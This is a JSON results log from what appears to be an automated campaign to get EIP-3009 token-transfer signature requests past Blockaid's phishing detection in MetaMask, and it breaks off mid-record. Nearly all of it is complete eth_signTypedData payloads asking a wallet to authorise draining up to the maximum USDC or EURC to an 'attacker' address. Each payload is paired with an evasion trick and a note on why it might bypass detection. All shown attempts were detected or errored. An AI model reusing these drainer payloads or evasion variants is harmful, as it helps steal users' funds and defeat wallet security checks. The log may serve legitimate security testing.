"EIP3009-combo-EURC-carriage_return-alternating-numeric_ts-max-lowercase-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-combining_mark-alternating-just_now-zero-checksum-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-ltr_override-leading_zeros_many-max_uint-all_a-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 1, "lastResult": "DETECTED" }, "EIP3009-combo-EURC-null_byte-numeric_small-just_now-mixed_case_hex-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-combining_mark-leading_zeros_many-leading_zeros_ts-sequential-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-EURC-rtl_override-numeric_small-narrow_1hr-sequential-lowercase-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-newline-repeating-far_future-max-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "MetaMask popup not found" }, "EIP3009-combo-USDC-newline-hex_1m-past_2020-leading_zeros_nonce-mixed_case-signTypedData": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-EURC-rtl_override-padded_64-past_2020-sequential-mixed_case-v4": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" }, "EIP3009-combo-USDC-carriage_return-hex_short-max_uint-sequential-checksum-v3": { "attempts": 1, "bypassed": 0, "detected": 0, "lastResult": "ERROR", "errors": 1, "errorMessage": "page.waitForTimeout: Target page, context or browser has been closed" } }, "attempts": [ { "id": "RUN1-EIP3009-001", "timestamp": "2026-01-31T15:46:15.627Z", "technique": "EIP-3009 transferWithAuthorization USDC", "category": "eip3009", "description": "USDC direct transfer via EIP-3009 signature (no approval needed)", "expectedBypass": "Different from permit - direct transfer authorization", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xad8e29435896c7d5aa376be6dbb12cfbd2ff5d8dba450b65d85bb86582e78fa8\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-002", "timestamp": "2026-01-31T15:46:23.268Z", "technique": "EIP-3009 receiveWithAuthorization USDC", "category": "eip3009", "description": "USDC receive authorization via EIP-3009 (receiver-initiated)", "expectedBypass": "Receiver-initiated transfer might not be flagged", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ReceiveWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"ReceiveWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf19006c557db5d282569ab7223836872b4fd318abb61afa0bebe613f289e8fc6\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-003", "timestamp": "2026-01-31T15:46:30.704Z", "technique": "EIP-3009 max value transfer", "category": "eip3009", "description": "EIP-3009 transfer with max uint256 value", "expectedBypass": "Max value transfer authorization", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x7881f8193f7a11ed1de12131d1626d0a7d3a8326cc438e3619a8e942a4086019\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-004", "timestamp": "2026-01-31T15:46:40.652Z", "technique": "EIP-3009 past validAfter", "category": "eip3009", "description": "EIP-3009 with validAfter = 0 (always valid)", "expectedBypass": "Immediate validity might bypass time checks", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x62d6d4564f4d1887a68951a0d883dae64c96ed2087b9283d9751f1026f860276\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-005", "timestamp": "2026-01-31T15:46:48.067Z", "technique": "EIP-3009 far future validBefore", "category": "eip3009", "description": "EIP-3009 with validBefore = max uint256", "expectedBypass": "No expiration might bypass time validation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xe79e898285f3f663279bbb943c165a4c3cd3c7fc9bb26c6979caa12729660670\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-006", "timestamp": "2026-01-31T15:46:55.482Z", "technique": "EIP-3009 EURC transfer", "category": "eip3009", "description": "EURC (Euro Coin) transfer via EIP-3009 to attacker", "expectedBypass": "Less common token might not be in detection list", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x666b3c5dac0516dd81554c7c9204b779363677169a96bb0717c805249ebe21f8\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-007", "timestamp": "2026-01-31T15:47:05.369Z", "technique": "EIP-3009 unicode domain", "category": "eip3009", "description": "EIP-3009 with unicode characters in domain name", "expectedBypass": "Unicode might confuse string matching", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD​Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x2090783aeb99b12d627809b575c035d26e37282bd35aa5e2599e7b7214c67384\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-008", "timestamp": "2026-01-31T15:47:12.786Z", "technique": "EIP-3009 dust amount", "category": "eip3009", "description": "EIP-3009 for tiny amount (1 unit) to attacker", "expectedBypass": "Small amounts might not trigger alerts", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x33fadfa48807a86dfab0beda65f127f3c6938f0ee407cec462c43010ed1f45dc\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-009", "timestamp": "2026-01-31T15:47:20.360Z", "technique": "EIP-3009 old timestamp", "category": "eip3009", "description": "EIP-3009 with validAfter from 2020 to attacker", "expectedBypass": "Historical timestamp might seem like old tx", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x814c47b8a73b3d1ef0b6725333897513adb9f890839b7d56db412b20c620c2b7\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-010", "timestamp": "2026-01-31T15:47:30.158Z", "technique": "EIP-3009 version 1", "category": "eip3009", "description": "EIP-3009 with domain version \"1\" to attacker", "expectedBypass": "Older version format might not be detected", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf56c431a284bf7df515d1ddd21d83cdc4c76e3d0f88bc520b56bc358e2ccad04\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-011", "timestamp": "2026-01-31T15:47:37.708Z", "technique": "EIP-3009 specific amount", "category": "eip3009", "description": "EIP-3009 for exact 1000 USDC transfer to attacker", "expectedBypass": "Specific amount might seem like real transaction", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x538d0328cd6050d98430675b0bc3e54111232470a52de30746acdf849aeb0b5f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-012", "timestamp": "2026-01-31T15:47:45.131Z", "technique": "EIP-3009 nested recipient", "category": "eip3009", "description": "EIP-3009 TransferWithAuthorization to attacker with alternate field names", "expectedBypass": "Non-standard field names might bypass detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"Centre: USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x8faccfe402e6802fa46b26610cb80956296f0455ec6960b9e71e0f80995346f8\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-013", "timestamp": "2026-01-31T15:47:54.910Z", "technique": "EIP-3009 v3 method", "category": "eip3009", "description": "EIP-3009 using eth_signTypedData_v3 instead of v4", "expectedBypass": "Older signing method might have different detection", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xfc41905b5715ed33e68450704a96e1938f2ec4448bea30fd3599f58bc2a45fc2\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-014", "timestamp": "2026-01-31T15:48:02.391Z", "technique": "EIP-3009 unversioned method", "category": "eip3009", "description": "EIP-3009 using eth_signTypedData without version suffix", "expectedBypass": "Legacy method name might bypass version checks", "payload": { "method": "eth_signTypedData", "params": [ "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x215e95837f28bdd7f6c9ec11847306b7a8f1bf2cf703c7eb7fc0a4fcf7d93751\"}}", "0x027821c81bc29f8860e7a17ab759ed000c97f178" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN1-EIP3009-015", "timestamp": "2026-01-31T15:48:08.908Z", "technique": "EIP-3009 hex value", "category": "eip3009", "description": "EIP-3009 with value encoded as hex string", "expectedBypass": "Hex encoding might not be normalized", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":\"0x0\",\"validBefore\":\"0x70E70A00\",\"nonce\":\"0xbf04148a53e851ce7d26353e602faa1447bdefe83baba42351cb3c9e5e98b00c\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-016", "timestamp": "2026-01-31T15:48:16.330Z", "technique": "EIP-3009 numeric types", "category": "eip3009", "description": "EIP-3009 with numbers instead of string values", "expectedBypass": "Type coercion might affect detection", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":999999999999999,\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xd8c235456cce147cb5cf56b2cd3115144488a0b49c5fc6abf628ac250cf0f272\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-017", "timestamp": "2026-01-31T15:49:45.780Z", "technique": "EIP-3009 leading zeros", "category": "eip3009", "description": "EIP-3009 with leading zeros in numeric strings", "expectedBypass": "Leading zeros might affect parsing", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"000000\",\"validBefore\":\"01893456000\",\"nonce\":\"0x16f20bffbcc60bb423e54543df71f7ae998ff2a39f87b94c0e32d76666c19ce4\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN1-EIP3009-018", "timestamp": "2026-01-31T15:49:53.324Z", "technique": "EIP-3009 reordered fields", "category": "eip3009", "description": "EIP-3009 with type fields in non-standard order", "expectedBypass": 